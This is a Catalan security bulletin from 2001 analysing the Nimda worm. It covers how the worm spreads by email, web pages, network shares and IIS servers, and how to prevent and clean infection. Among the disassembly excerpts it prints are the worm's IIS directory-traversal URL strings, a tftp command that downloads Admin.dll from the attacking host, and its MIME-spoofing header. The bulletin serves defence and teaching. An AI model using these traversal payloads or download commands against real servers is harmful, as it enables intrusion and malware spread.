CornerCircleTop
CornerCircleBottom
VButtonBarBottom
Pàgina Inicial
Una per Dia
Articles
Directori
Biblioteca
Alertes
VButtonBarBottom
Una per Dia

Última Modificació del Document
20 de setembre de 2001


Una per Dia - Tornar a l'índex
Versió en català del servei "Una al día" d'Hispasec

20 de setembre de 2001 - W32/Nimda: arribar, veure i infectar

Amb aquest butlletí coneixerem més en profunditat a Nimda: de quines formes es pot presentar, com intenta infectar-nos automàticament, com prevenir la infecció i quines accions realitzar en cas que s'arribi a executar a un ordinador.

Com arriba...

Nimda pot atacar als usuaris de Windows per tres vies diferents: per correu electrònic, a l'accedir a una pàgina web o bé si estem dins de la mateixa xarxa compartint recursos amb un altre ordinador infectat. A més hi ha una quarta via d'infecció que afecta als servidors Windows que fan servir l'Internet Information Server (IIS).

1) Per correu electrònic

Nimda s'autoenvia en un missatge de correu electrònic amb el fitxer "README.EXE" associat. Fa servir el format HTML per tal d'aprofitar-se d'una coneguda vulnerabilitat de l'Internet Explorer, heretada per Outlook i Outlook Express per tal de poder executar el "README.EXE" sense que sigui necessari que l'usuari l'obri. Només cal previsualitzar el missatge al client de correu.

Per tal d'aconseguir-ho modifica la capçalera MIME que fa referència a "README.EXE" indicant que es tracta d'un fitxer del tipus audio/x-wav. D'aquesta forma enganya a l'Internet Explorer, que l'obre automàticament al creure que es tracta d'un format inofensiu: un simple fitxer de so. El resultat és el mateix de previsualitzar el missatge a l'Outlook i Outlook Express, ja que els clients de correu de Microsoft fan servir els mòduls de l'Internet Explorer per a interpretar el codi HTML.

    - ---
      db 'Content-Type: audio/x-wav;',0Dh,0Ah
      db 9,'name="readme.exe"',0Dh,0Ah
      db 'Content-Transfer-Encoding: base64',0Dh,0Ah
    - ---

2) Infecció al visualitzar una pàgina web d'un servidor afectat pel cuc

La pàgina infectada conté un codi JavaScript que intenta obrir el fitxer "README.EML" (.EML, extensió de missatge de correu electrònic) i que explota d'igual forma, amb el mateix contingut, la vulnerabilitat que acabem de comentar per auto-executar el codi del virus.

    - ---
      db 'window.open("readme.eml"' db ', null, "resizable=no,top=6000, left=6000")',0
    - ---

3) A la xarxa local

Un cop infectat el sistema, Nimda intenta copiar-se a totes les unitats locals i de xarxa i infecta tots els directoris a les que té accés. Per a la seva propagació, per un costat crea múltiples fitxers de missatges de correu electrònic infectats amb noms aleatoris i amb extensió .EML (en el 95% dels casos) i .NWS (el 5% restant). Aquests missatges tenen el mateix contingut que els descrits abans, de forma que si s'intenta visualitzar aquests fitxers el virus es executat de forma automàtica.

D'altra banda, també a totes les unitats locals i de xarxa cerca els fitxers anomenats "DEFAULT", "INDEX", "MAIN" o "README" i amb extensió .HTML, .HTM i .ASP. En aquest fitxers afegeix el mateix codi JavaScript utilitzat en la situació 2), de forma que si algú visualitza aquestes pàgines el fitxer "README.EML" s'executarà automàticament, produint la infecció. També infecta els fitxers executa afegint el seu propi codi.

    - ---
      push offset default ; "default"
       push eax
       call ebp ; strstr
      pop ecx
      test eax, eax
      pop ecx
      jnz short loc_36173585
      lea eax, [esp+160h+var_120]
      push offset index ; "index"
    - ---

D'aquesta forma si ens trobem dins d'una xarxa local on un dels equips ha estat infectat, podem contaminar-nos al visualitzar qualsevol dels fitxers creats o modificats, ja siguin missatges de correu electrònic, pàgines web o qualsevol fitxer .EXE infectat. Aquests fitxers infectats els podem trobar si accedim a les unitats de xarxa o a les unitats de la nostra pròpia màquina (si hi ha alguna carpeta compartida a la xarxa).

Una altra forma d'infectar-se de forma automàtica dins d'una xarxa local, sense que calgui visualitzar algun dels fitxers infectats succeeix quan el cuc s'ha copiat a la carpeta d'inici del nostre sistema (per tenir la unitat C: totalment compartida). Això fa que en el moment d'iniciar el sistema s'executi el fitxer infectat.

4) Infecció directa d'un servidor Web

Nimda intenta introduir-se de forma automàtica als servidors webs basats en Internet Information Server, explotant diverses vulnerabilitats a traves de peticions GET via HTTP, intentant obtenir accés a l'intèrpret d'ordres (CMD.EXE) o al fitxer ROOT.EXE (unes portes secreta que van poder ser introduïdes al sistema prèviament al ser afectats pels cucs Code Red II o sadmind.

    - ---
      mov dword ptr [ebp-48h], offset scripts_dir ; "/scripts"
      mov dword ptr [ebp-44h], offset MSADC_dir ; "/MSADC"
      mov dword ptr [ebp-40h], offset aC_0 ; "/c"
      mov dword ptr [ebp-3Ch], offset aD ; "/d"
      mov dword ptr [ebp-38h], offset esc_char1 ; "/scripts/..%255c.."
      mov dword ptr [ebp-34h], offset esc_char2 ; "/_vti_bin/..%255c../..%255c../..%255c.."
      mov dword ptr [ebp-30h], offset esc_char3 ; "/_mem_bin/..%255c../..%255c../..%255c.."
      mov dword ptr [ebp-2Ch], offset esc_char4 ; "/msadc/..%255c../..%255c../..%255c/..%c"...
      mov dword ptr [ebp-28h], offset unicode_1 ; "/scripts/..%c1%1c.."
      mov dword ptr [ebp-24h], offset unicode_2 ; "/scripts/..%c0%2f.."
      mov dword ptr [ebp-20h], offset unicode_3 ; "/scripts/..%c0%af.."
      mov dword ptr [ebp-1Ch], offset unicode_4 ; "/scripts/..%c1%9c.."
      mov dword ptr [ebp-18h], offset aScripts__3563_ ; "/scripts/..%%35%63.."
      mov dword ptr [ebp-14h], offset aScripts__35c__ ; "/scripts/..%%35c.."
      mov dword ptr [ebp-10h], offset aScripts__25356 ; "/scripts/..%25%35%63.."
      mov dword ptr [ebp-0Ch], offset aScripts__252f_ ; "/scripts/..%252f.."
    - ---

Si el servidor és vulnerable a qualsevol d'aquests atacs que Nimda intenta realitzar, aprofita per executar una sessió TFTP i baixar al servidor web el fitxer ADMIN.DLL que conté el codi del virus. Aquest fitxers serà copiat a les unitats C:, D: i E:.

    - ---
      TFTP_GET db 'tftp%%20-i%%20%s%%20GET%%20
      Admin.dll%%20',0
    - ---

Més val prevenir...

Clients (casos 1, 2 i 3)

Per tal d'evitar que Nimda pugui explotar la vulnerabilitat de l'Internet Explorer i no permetre l'execució automàtica del fitxer "README.EXE" al visualitzar un missatge infectat, cal que el nostre navegador estigui correctament actualitzat.

Les versions vulnerables són l'Internet Explorer 5.01 i 5.5 que no tenen instal·lat el Service Pack 2 o l'actualització específica que Microsoft va publicar el seu dia per eliminar aquest problema. Els usuaris de l'Internet Explorer 6 no cal que instal·lin cap actualització, ja que no estan afectats per aquesta vulnerabilitat.

Aquesta vulnerabilitat, descoberta per Cuartango, va ser corregida per Microsoft que va facilitar una actualització específica per a la mateixa. Ara bé, en comptes d'instal·lar aquesta actualització recomanem la instal·lació d'una actualització acumulativa posterior on es corregeixen altres vulnerabilitats a més de la que avui ens ocupa.

Si tenim l'Internet Explorer correctament actualitzat evitarem que Nimda ens infecti de forma automàtica només visualitzant el missatge on arriba associat. Ara bé, aquesta actualització no ens ha de donar la falsa sensació de seguretat total contra Nimda, ja que ens infectarem igualment si obrim el fitxer associat al missatge.

Per tant, un cop més hem de seguir recordant la norma d'or: no obrir cap fitxer associat a un missatge que no hem demanat expressament.

Servidors (cas 4)

Pel que fa als servidors Windows, Nimda intenta aprofitar-se de diverses vulnerabilitats, en especial les relacionades amb l'escalada de directoris a traves de caràcters Unicode a la URL.

Per tal d'aconseguir una protecció contra totes les vulnerabilitats que intenta aprofitar, el millor és instal·lar el més nou pegat acumulatiu disponible per a cada versió de l'Internet Information Server (IIS).

De la mateixa forma, no hem de deixar d'inspeccionar els nostres servidors tot cercant la possible existència dels troians que poden quedar d'una infecció prèvia per part de Code Red i als que Nimda intenta accedir per a aconseguir la infecció.

Com infecta el sistema quan aconsegueix executar-se...

A més de les accions que ja hem comentat, Nimda es copia com a "MMC.EXE" al directori de Windows, com a "LOAD.EXE" al directori de sistema, sobreescriu la llibreria "RICHED20.DLL" del directori del sistema i realitza una còpia de la llibreria infectada a tots els directoris on hi hagi un o més documents (.DOC). Per últim, es copia diverses vegades al directori temporal de Windows amb noms de fitxers aleatoris que comencen per "MEP" o "MA" i acaben amb les extensions .TMP i .TMP.EXE.

"RICHED20.DLL" és una llibreria de Windows que fan servir els processadors de texts com Word o WordPad. la substitució d'aquesta llibreria provoca l'execució de Nimda cada vegada que es fa servir un d'aquests programes.

De la mateixa forma, per assegurar l'execució del cuc realitza una modificació al fitxer SYSTEM.INI:

    [boot]
    shell=explorer.exe load.exe -dontrunold

A continuació modifica una entrada del registre de Windows per tal que la propera vegada que iniciem el sistema totes les unitats estiguin compartides a la xarxa:

    HKLM\Software\Microsoft\Windows\CurrentVersion
      \Network\LanMan\[C$ -> Z$]

A Windows 9x/ME les unitats estan compartides sense cap clau d'accés, mentre que als sistemes Windows NT/2000 fa que el compte d'usuari GUEST disposi dels privilegis dels grups Administradors (màxim privilegis) i Convidats.

A Windows NT/2000 elimina la clau que activa la seguretat per a la compartició de fitxers:

    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet
      \Services\lanmanserver\Share\Security

També crea o modifica altres claus per tal d'ocultar fitxers i extensions.

    HKEY_CURRENT_USER\Software\Microsoft\Windows\
      CurrentVersion\Explorer\Advanced\HideFileExt
    HKEY_CURRENT_USER\Software\Microsoft\Windows\
      CurrentVersion\Explorer\Advanced\Hidden
    HKEY_CURRENT_USER\Software\Microsoft\Windows\
      CurrentVersion\Explorer\Advanced\ShowSuperHidden

La infecció continua infectant els fitxers .EXE, afegint el seu codi. Hi ha una excepció: el fitxer WINZIP.EXE no és infectat.

Malgrat que es possible eliminar manualment el virus, tot restaurant les claus del registre, eliminar els fitxers infectats o instal·lar de nou els que han estat modificats son tant els passos que cal fer que, per tal de no eternitzar aquesta noticia i evitar possibles oblits, aconsellem la utilització d'alguna de les utilitats que els diferents fabricants de programes antivírics han publicat per tal de realitzar la desinfecció de forma automàtica.

Com es propaga...

Només ens resta per comentar bàsicament dues rutines importants de Nimda per tal de tancar el cercle que hem començat a l'explicar les formes com ens pot arribar.

La primera és la propagació a traves del correu electrònic. Les adreces de les víctimes són recollides dels fitxers amb extensió .HTM i .HTML o bé accedint a les bústies de correu per mitjà de MAPI. El missatge que envia en format HTML explota la vulnerabilitat que hem comentat a l'inici de la noticia per tal d'intentar executar automàticament el fitxer associat "README.EXE" tot just és previsualitzat amb Outlook o Outlook Express. Per a l'enviament dels missatges Nimda disposa de la seva pròpia funció SMTP.

La segona és la cerca de servidors web, que realitza enviant peticions GET que tracten d'aprofitar-se de les vulnerabilitats de l'Internet Information Server. Aquestes peticions són enviades contra adreces IP escollides a l'atzar. A més d'afectar als servidors web, aquest procés comportat un tràfic continu que, com a efecte secundari, pot degradar el rendiment de les comunicacions amb Internet.

Per últim, indicar que dins el codi del virus surt la següent cadena com a signatura:

    Concept Virus(CV) V.5, Copyright(C)2001 R.P.China

Bernardo Quintero
bernardo@hispasec.com

Contacte: info@quands.com